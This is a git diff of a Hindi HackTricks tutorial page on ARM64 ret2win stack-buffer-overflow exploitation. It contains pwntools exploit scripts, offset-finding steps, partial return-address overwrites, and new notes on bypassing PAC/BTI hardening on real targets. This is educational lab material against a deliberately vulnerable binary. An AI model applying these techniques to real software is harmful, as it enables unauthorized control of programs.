diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 187e56d5f..382ed83ba 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -arm64 का परिचय यहाँ खोजें: +arm64 का परिचय यहाँ देखें: {{#ref}} @@ -28,17 +28,29 @@ vulnerable_function(); return 0; } ``` -पीआईई और कैनरी के बिना संकलित करें: +pie और canary के बिना संकलन करें: ```bash -clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none ``` -## ऑफ़सेट खोजना +- अतिरिक्त फ्लैग `-mbranch-protection=none` AArch64 Branch Protection (PAC/BTI) को डिसेबल कर देता है। यदि आपका toolchain डिफ़ॉल्ट रूप से PAC या BTI सक्षम करता है, तो इससे lab reproducible रहता है। यह जांचने के लिए कि compiled binary PAC/BTI का उपयोग करती है या नहीं आप: +- AArch64 GNU properties के लिए देखें: +- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'` +- `paciasp`/`autiasp` (PAC) या `bti c` landing pads (BTI) के लिए prologues/epilogues जांचें: +- `objdump -d ret2win | head -n 40` -### पैटर्न विकल्प +### AArch64 calling convention — त्वरित तथ्य -यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था: +- लिंक रजिस्टर `x30` (a.k.a. `lr`) है, और functions आमतौर पर `x29`/`x30` को `stp x29, x30, [sp, #-16]!` के साथ सेव करते हैं और उन्हें `ldp x29, x30, [sp], #16; ret` के साथ restore करते हैं। +- इसका मतलब सेव किया गया return address frame base के सापेक्ष `sp+8` पर रहता है। यदि `char buffer[64]` नीचे रखा गया है, तो saved `x30` को ओवरराइट करने की सामान्य दूरी 64 (buffer) + 8 (saved x29) = 72 bytes है — बिल्कुल वही जो नीचे मिलेगा। +- Stack pointer को function boundaries पर 16‑byte aligned रखना आवश्यक है। यदि आप बाद में अधिक complex scenarios के लिए ROP chains बनाते हैं, तो SP alignment बनाए रखें वरना function epilogues पर crash हो सकता है। -gef के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें: +## Finding the offset + +### Pattern option + +This example was created using [**GEF**](https://github.com/bata24/gef): + +gdb को gef के साथ शुरू करें, pattern बनाएं और उपयोग करें: ```bash gdb -q ./ret2win pattern create 200 @@ -46,17 +58,17 @@ run ```
-arm64 उस पते पर लौटने की कोशिश करेगा जो रजिस्टर x30 में है (जो समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं: +arm64 रजिस्टर x30 में मौजूद पते (जिसे समझौता किया गया था) पर लौटने की कोशिश करेगा, हम इसका उपयोग pattern offset खोजने के लिए कर सकते हैं: ```bash pattern search $x30 ```
-**ऑफसेट 72 है (9x48)।** +**The offset is 72 (9x48).** -### स्टैक ऑफसेट विकल्प +### Stack offset विकल्प -उस स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है: +pc register जहाँ स्टोर होता है उस stack address को प्राप्त करके शुरू करें: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -65,14 +77,14 @@ info frame ```
-अब `read()` के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक `read()` निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337: +अब `read()` के बाद एक breakpoint सेट करें और `read()` के चलने तक continue करें तथा 13371337 जैसे pattern सेट करें: ``` b *vulnerable_function+28 c ```
-इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, इसे खोजें: +पता लगाइए कि यह पैटर्न मेमोरी में कहाँ स्टोर है:
@@ -82,21 +94,23 @@ c ## No PIE -### नियमित +### सामान्य -**`win`** फ़ंक्शन का पता प्राप्त करें: +**`win`** फ़ंक्शन के पते को प्राप्त करें: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` -शोषण: +Exploit: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) +# Optional but nice for AArch64 +context.arch = 'aarch64' # Prepare the payload offset = 72 @@ -114,7 +128,7 @@ p.close() ### Off-by-1 -वास्तव में, यह स्टैक में संग्रहीत PC में ऑफ-बाय-2 के समान होगा। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम **केवल अंतिम 2 बाइट्स** को `0x06c4` के साथ ओवरराइट करने जा रहे हैं। +दरअसल यह stack में स्टोर किए गए PC में असल में off-by-2 जैसा होगा। सारी return address को overwrite करने की बजाय हम **only the last 2 bytes** को `0x06c4` से overwrite करेंगे। ```python from pwn import * @@ -136,16 +150,16 @@ p.close() ```
-आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक कमजोरी में वास्तविक off-by-**one** है। +आप ARM64 में एक और off-by-one उदाहरण इस लिंक पर पा सकते हैं: [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), जो एक काल्पनिक vulnerability में वास्तविक off-by-**one** है। -## With PIE +## PIE के साथ > [!TIP] -> बाइनरी को **`-no-pie` तर्क के बिना संकलित करें** +> बाइनरी को **`-no-pie` argument के बिना** कंपाइल करें ### Off-by-2 -बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जिस रिटर्न पते को ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (**0x7d4**) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें: +एक leak के बिना हम win function का सटीक address नहीं जानते लेकिन हम binary से उस function का offset जान सकते हैं और यह जानते हुए कि जिस return address को हम overwrite कर रहे हैं वह पहले से ही एक नज़दीकी address की ओर इशारा कर रहा है, इस केस में win function के offset (**0x7d4**) को leak करना संभव है और बस उस offset का उपयोग करना है:
```python @@ -167,4 +181,45 @@ p.send(payload) print(p.recvline()) p.close() ``` +### आधुनिक AArch64 हार्डनिंग (PAC/BTI) और ret2win पर नोट्स + +- यदि बाइनरी AArch64 Branch Protection के साथ कंपाइल की गई है, तो आप फ़ंक्शन प्रोलॉग्स/एपिलॉग्स में `paciasp`/`autiasp` या `bti c` देख सकते हैं। ऐसे मामलों में: +- यदि आप ऐसे पते पर लौटते हैं जो एक वैध BTI लैंडिंग पैड नहीं है तो `SIGILL` उठ सकता है। प्राथमिकता दें कि आप उसी फ़ंक्शन एंट्री को टारगेट करें जिसमें `bti c` मौजूद हो। +- यदि returns के लिए PAC सक्षम है, तो साधारण return‑address ओवरराइट्स विफल हो सकते हैं क्योंकि एपिलॉग `x30` को ऑथेंटिकेट करता है। सीखने के परिवेश में, पुनर्निर्माण करें with `-mbranch-protection=none` (ऊपर दिखाया गया)। वास्तविक लक्ष्यों पर हमला करते समय, non‑return hijacks (जैसे function pointer ओवरराइट्स) को प्राथमिकता दें या ऐसा ROP बनाएं जो कभी भी आपके नकली LR को ऑथेंटिकेट करने वाला `autiasp`/`ret` जोड़ा न चलाए। +- फीचर्स जल्दी से जाँचने के लिए: +- `readelf --notes -W ./ret2win` और `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` नोट्स की तलाश करें। +- `objdump -d ./ret2win | head -n 40` और `bti c`, `paciasp`, `autiasp` की तलाश करें। + +### Running on non‑ARM64 hosts (qemu‑user quick tip) + +यदि आप x86_64 पर हैं लेकिन AArch64 का अभ्यास करना चाहते हैं: +```bash +# Install qemu-user and AArch64 libs (Debian/Ubuntu) +sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross + +# Run the binary with the AArch64 loader environment +qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win + +# Debug with GDB (qemu-user gdbstub) +qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & +# In another terminal +gdb-multiarch ./ret2win -ex 'target remote :1234' +``` +### संबंधित HackTricks पृष्ठ + +- +{{#ref}} +../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +{{#endref}} +- +{{#ref}} +../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +{{#endref}} + + + +## संदर्भ + +- AArch64 पर Linux के लिए PAC और BTI सक्षम करना (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux +- Arm 64-बिट आर्किटेक्चर के लिए Procedure Call Standard (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}